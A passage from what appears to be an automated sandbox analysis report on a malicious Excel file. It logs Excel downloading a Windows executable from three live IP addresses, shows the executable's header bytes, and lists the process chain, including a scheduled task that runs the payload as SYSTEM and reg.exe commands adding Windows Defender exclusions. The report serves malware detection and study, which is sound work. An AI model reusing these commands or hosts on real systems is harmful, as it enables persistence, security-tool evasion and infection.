Sep 27, 2021 11:10:25.629839897 CEST	49165	80	192.168.2.22	190.14.37.173
Sep 27, 2021 11:10:25.631917953 CEST	49165	80	192.168.2.22	190.14.37.173
Sep 27, 2021 11:10:25.663012981 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.663055897 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.663075924 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.663156033 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.663337946 CEST	49165	80	192.168.2.22	190.14.37.173
Sep 27, 2021 11:10:25.800775051 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.800831079 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.800848961 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.800868034 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.800885916 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.800991058 CEST	49165	80	192.168.2.22	190.14.37.173
Sep 27, 2021 11:10:25.801026106 CEST	49165	80	192.168.2.22	190.14.37.173
Sep 27, 2021 11:10:25.801054955 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.801080942 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.801101923 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.801105976 CEST	49165	80	192.168.2.22	190.14.37.173
Sep 27, 2021 11:10:25.801120996 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.801139116 CEST	49165	80	192.168.2.22	190.14.37.173
Sep 27, 2021 11:10:25.801143885 CEST	49165	80	192.168.2.22	190.14.37.173
Sep 27, 2021 11:10:25.801162958 CEST	49165	80	192.168.2.22	190.14.37.173
Sep 27, 2021 11:10:25.864458084 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.864492893 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.864516020 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.864538908 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.864561081 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.864588022 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.864612103 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.864682913 CEST	49165	80	192.168.2.22	190.14.37.173
Sep 27, 2021 11:10:25.864713907 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.864799023 CEST	49165	80	192.168.2.22	190.14.37.173
Sep 27, 2021 11:10:25.864814043 CEST	49165	80	192.168.2.22	190.14.37.173
Sep 27, 2021 11:10:25.864975929 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.865458012 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.865492105 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.865601063 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.866909981 CEST	49165	80	192.168.2.22	190.14.37.173
Sep 27, 2021 11:10:25.866940975 CEST	49165	80	192.168.2.22	190.14.37.173
Sep 27, 2021 11:10:25.866945028 CEST	49165	80	192.168.2.22	190.14.37.173
Sep 27, 2021 11:10:25.866947889 CEST	49165	80	192.168.2.22	190.14.37.173
Sep 27, 2021 11:10:25.866950989 CEST	49165	80	192.168.2.22	190.14.37.173
Sep 27, 2021 11:10:25.970748901 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:25.971235991 CEST	49165	80	192.168.2.22	190.14.37.173
Sep 27, 2021 11:10:26.065752983 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:26.065821886 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:26.065840960 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:26.065859079 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:26.065876961 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:26.066268921 CEST	49165	80	192.168.2.22	190.14.37.173
Sep 27, 2021 11:10:26.066483974 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:26.066519022 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:26.066543102 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:26.066565037 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:26.066586971 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:26.066612005 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:26.066636086 CEST	80	49165	190.14.37.173	192.168.2.22
Sep 27, 2021 11:10:26.067260027 CEST	49165	80	192.168.2.22	190.14.37.173

HTTP Request Dependency Graph

190.14.37.173

111.90.148.104

51.89.115.111

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49165	190.14.37.173	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
Sep 27, 2021 11:10:24.402961969 CEST	0	OUT	GET /44466.4649013889.dat HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 190.14.37.173 Connection: Keep-Alive
Sep 27, 2021 11:10:25.458786011 CEST	1	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 27 Sep 2021 09:10:25 GMT Content-Type: application/octet-stream Content-Length: 495616 Connection: keep-alive X-Powered-By: PHP/5.4.16 Accept-Ranges: bytes Expires: 0 Cache-Control: no-cache, no-store, must-revalidate Content-Disposition: attachment; filename="44466.4649013889.dat" Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 61 1c 54 0a 25 7d 3a 59 25 7d 3a 59 25 7d 3a 59 e6 72 5a 59 26 7d 3a 59 b2 b9 44 59 24 7d 3a 59 02 bb 47 59 3e 7d 3a 59 02 bb 54 59 a5 7d 3a 59 e6 72 64 59 22 7d 3a 59 25 7d 3b 59 80 7d 3a 59 02 bb 55 59 71 7d 3a 59 02 bb 40 59 24 7d 3a 59 02 bb 46 59 24 7d 3a 59 02 bb 43 59 24 7d 3a 59 52 69 63 68 25 7d 3a 59 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 79 5f 07 45 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 08 00 00 90 02 00 00 f0 0e 00 00 00 00 00 df 31 00 00 00 10 00 00 00 a0 02 00 00 00 00 10 00 10 00 00 00 10 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 90 11 00 00 10 00 00 d4 fe 07 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 3f 07 00 d6 00 00 00 04 39 07 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 11 00 e0 0f 00 00 70 a1 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 2f 07 00 40 00 00 00 00 00 00 00 00 00 00 00 00 a0 02 00 2c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 35 8e 02 00 00 10 00 00 00 90 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 b6 a0 04 00 00 a0 02 00 00 b0 04 00 00 a0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 0b 0a 00 00 50 07 00 00 10 00 00 00 50 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 e6 24 00 00 00 60 11 00 00 30 00 00 00 60 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$aT%}:Y%}:Y%}:YrZY&}:YDY$}:YGY>}:YTY}:YrdY"}:Y%};Y}:YUYq}:Y@Y$}:YFY$}:YCY$}:YRich%}:YPELy_E!1?9<`p/@,.text5 `.rdata@@.data<PP@.reloc$`0`@B

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.22	49166	111.90.148.104	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
Sep 27, 2021 11:10:29.093961954 CEST	521	OUT	GET /44466.4649013889.dat HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 111.90.148.104 Connection: Keep-Alive
Sep 27, 2021 11:10:29.995018005 CEST	522	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 27 Sep 2021 09:10:30 GMT Content-Type: application/octet-stream Content-Length: 495616 Connection: keep-alive X-Powered-By: PHP/5.4.16 Accept-Ranges: bytes Expires: 0 Cache-Control: no-cache, no-store, must-revalidate Content-Disposition: attachment; filename="44466.4649013889.dat" Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 61 1c 54 0a 25 7d 3a 59 25 7d 3a 59 25 7d 3a 59 e6 72 5a 59 26 7d 3a 59 b2 b9 44 59 24 7d 3a 59 02 bb 47 59 3e 7d 3a 59 02 bb 54 59 a5 7d 3a 59 e6 72 64 59 22 7d 3a 59 25 7d 3b 59 80 7d 3a 59 02 bb 55 59 71 7d 3a 59 02 bb 40 59 24 7d 3a 59 02 bb 46 59 24 7d 3a 59 02 bb 43 59 24 7d 3a 59 52 69 63 68 25 7d 3a 59 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 79 5f 07 45 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 08 00 00 90 02 00 00 f0 0e 00 00 00 00 00 df 31 00 00 00 10 00 00 00 a0 02 00 00 00 00 10 00 10 00 00 00 10 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 90 11 00 00 10 00 00 d4 fe 07 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 3f 07 00 d6 00 00 00 04 39 07 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 11 00 e0 0f 00 00 70 a1 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 2f 07 00 40 00 00 00 00 00 00 00 00 00 00 00 00 a0 02 00 2c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 35 8e 02 00 00 10 00 00 00 90 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 b6 a0 04 00 00 a0 02 00 00 b0 04 00 00 a0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 0b 0a 00 00 50 07 00 00 10 00 00 00 50 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 e6 24 00 00 00 60 11 00 00 30 00 00 00 60 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$aT%}:Y%}:Y%}:YrZY&}:YDY$}:YGY>}:YTY}:YrdY"}:Y%};Y}:YUYq}:Y@Y$}:YFY$}:YCY$}:YRich%}:YPELy_E!1?9<`p/@,.text5 `.rdata@@.data<PP@.reloc$`0`@B

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.22	49167	51.89.115.111	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
Sep 27, 2021 11:10:32.099535942 CEST	1040	OUT	GET /44466.4649013889.dat HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 51.89.115.111 Connection: Keep-Alive
Sep 27, 2021 11:10:32.311602116 CEST	1042	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 27 Sep 2021 09:10:32 GMT Content-Type: application/octet-stream Content-Length: 495616 Connection: keep-alive X-Powered-By: PHP/5.4.16 Accept-Ranges: bytes Expires: 0 Cache-Control: no-cache, no-store, must-revalidate Content-Disposition: attachment; filename="44466.4649013889.dat" Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 61 1c 54 0a 25 7d 3a 59 25 7d 3a 59 25 7d 3a 59 e6 72 5a 59 26 7d 3a 59 b2 b9 44 59 24 7d 3a 59 02 bb 47 59 3e 7d 3a 59 02 bb 54 59 a5 7d 3a 59 e6 72 64 59 22 7d 3a 59 25 7d 3b 59 80 7d 3a 59 02 bb 55 59 71 7d 3a 59 02 bb 40 59 24 7d 3a 59 02 bb 46 59 24 7d 3a 59 02 bb 43 59 24 7d 3a 59 52 69 63 68 25 7d 3a 59 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 79 5f 07 45 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 08 00 00 90 02 00 00 f0 0e 00 00 00 00 00 df 31 00 00 00 10 00 00 00 a0 02 00 00 00 00 10 00 10 00 00 00 10 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 90 11 00 00 10 00 00 d4 fe 07 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 3f 07 00 d6 00 00 00 04 39 07 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 11 00 e0 0f 00 00 70 a1 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 2f 07 00 40 00 00 00 00 00 00 00 00 00 00 00 00 a0 02 00 2c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 35 8e 02 00 00 10 00 00 00 90 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 b6 a0 04 00 00 a0 02 00 00 b0 04 00 00 a0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 0b 0a 00 00 50 07 00 00 10 00 00 00 50 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 e6 24 00 00 00 60 11 00 00 30 00 00 00 60 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$aT%}:Y%}:Y%}:YrZY&}:YDY$}:YGY>}:YTY}:YrdY"}:Y%};Y}:YUYq}:Y@Y$}:YFY$}:YCY$}:YRich%}:YPELy_E!1?9<`p/@,.text5 `.rdata@@.data<PP@.reloc$`0`@B

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 2824 Parent PID: 596

General

Start time:	11:09:21
Start date:	27/09/2021
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Imagebase:	0x13f360000
File size:	28253536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Analysis Process: regsvr32.exe PID: 1320 Parent PID: 2824

General

Start time:	11:09:36
Start date:	27/09/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32 -silent ..\Fiosa.der
Imagebase:	0xff640000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: regsvr32.exe PID: 2196 Parent PID: 1320

General

Start time:	11:09:36
Start date:	27/09/2021
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	-silent ..\Fiosa.der
Imagebase:	0x340000
File size:	14848 bytes
MD5 hash:	432BE6CF7311062633459EEF6B242FB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Analysis Process: regsvr32.exe PID: 1516 Parent PID: 2824

General

Start time:	11:10:07
Start date:	27/09/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32 -silent ..\Fiosa1.der
Imagebase:	0xff640000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: regsvr32.exe PID: 2152 Parent PID: 1516

General

Start time:	11:10:07
Start date:	27/09/2021
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	-silent ..\Fiosa1.der
Imagebase:	0x340000
File size:	14848 bytes
MD5 hash:	432BE6CF7311062633459EEF6B242FB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Analysis Process: explorer.exe PID: 2592 Parent PID: 2196

General

Start time:	11:10:08
Start date:	27/09/2021
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0x990000
File size:	2972672 bytes
MD5 hash:	6DDCA324434FFA506CF7DC4E51DB7935
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: schtasks.exe PID: 2820 Parent PID: 2592

General

Start time:	11:10:13
Start date:	27/09/2021
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\system32\schtasks.exe' /Create /RU 'NT AUTHORITY\SYSTEM' /tn pmdfegez /tr 'regsvr32.exe -s \'C:\Users\user\Fiosa.der\'' /SC ONCE /Z /ST 11:12 /ET 11:24
Imagebase:	0xb0000
File size:	179712 bytes
MD5 hash:	2003E9B15E1C502B146DAD2E383AC1E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: regsvr32.exe PID: 1812 Parent PID: 1672

General

Start time:	11:10:16
Start date:	27/09/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32.exe -s 'C:\Users\user\Fiosa.der'
Imagebase:	0xff640000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: regsvr32.exe PID: 2788 Parent PID: 1812

General

Start time:	11:10:17
Start date:	27/09/2021
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	-s 'C:\Users\user\Fiosa.der'
Imagebase:	0x340000
File size:	14848 bytes
MD5 hash:	432BE6CF7311062633459EEF6B242FB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: explorer.exe PID: 3060 Parent PID: 2152

General

Start time:	11:10:36
Start date:	27/09/2021
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0x990000
File size:	2972672 bytes
MD5 hash:	6DDCA324434FFA506CF7DC4E51DB7935
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: regsvr32.exe PID: 2972 Parent PID: 2824

General

Start time:	11:10:38
Start date:	27/09/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32 -silent ..\Fiosa2.der
Imagebase:	0xff640000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: regsvr32.exe PID: 2012 Parent PID: 2972

General

Start time:	11:10:38
Start date:	27/09/2021
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	-silent ..\Fiosa2.der
Imagebase:	0x340000
File size:	14848 bytes
MD5 hash:	432BE6CF7311062633459EEF6B242FB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: explorer.exe PID: 536 Parent PID: 2788

General

Start time:	11:10:47
Start date:	27/09/2021
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0x990000
File size:	2972672 bytes
MD5 hash:	6DDCA324434FFA506CF7DC4E51DB7935
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: reg.exe PID: 840 Parent PID: 536

General

Start time:	11:10:48
Start date:	27/09/2021
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths' /f /t REG_DWORD /v 'C:\ProgramData\Microsoft\Yiiocubi' /d '0'
Imagebase:	0xff4c0000
File size:	74752 bytes
MD5 hash:	9D0B3066FE3D1FD345E86BC7BCCED9E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: reg.exe PID: 2188 Parent PID: 536

General

Start time:	11:10:51
Start date:	27/09/2021
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths' /f /t REG_DWORD /v 'C:\Users\user\AppData\Roaming\Microsoft\Nqsaq' /d '0'
Imagebase:	0xff200000
File size:	74752 bytes
MD5 hash:	9D0B3066FE3D1FD345E86BC7BCCED9E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: explorer.exe PID: 2100 Parent PID: 2012

General

Start time:	11:11:10
Start date:	27/09/2021
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0x990000
File size:	2972672 bytes
MD5 hash:	6DDCA324434FFA506CF7DC4E51DB7935
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: regsvr32.exe PID: 2684 Parent PID: 1672

General

Start time:	11:12:00
Start date:	27/09/2021
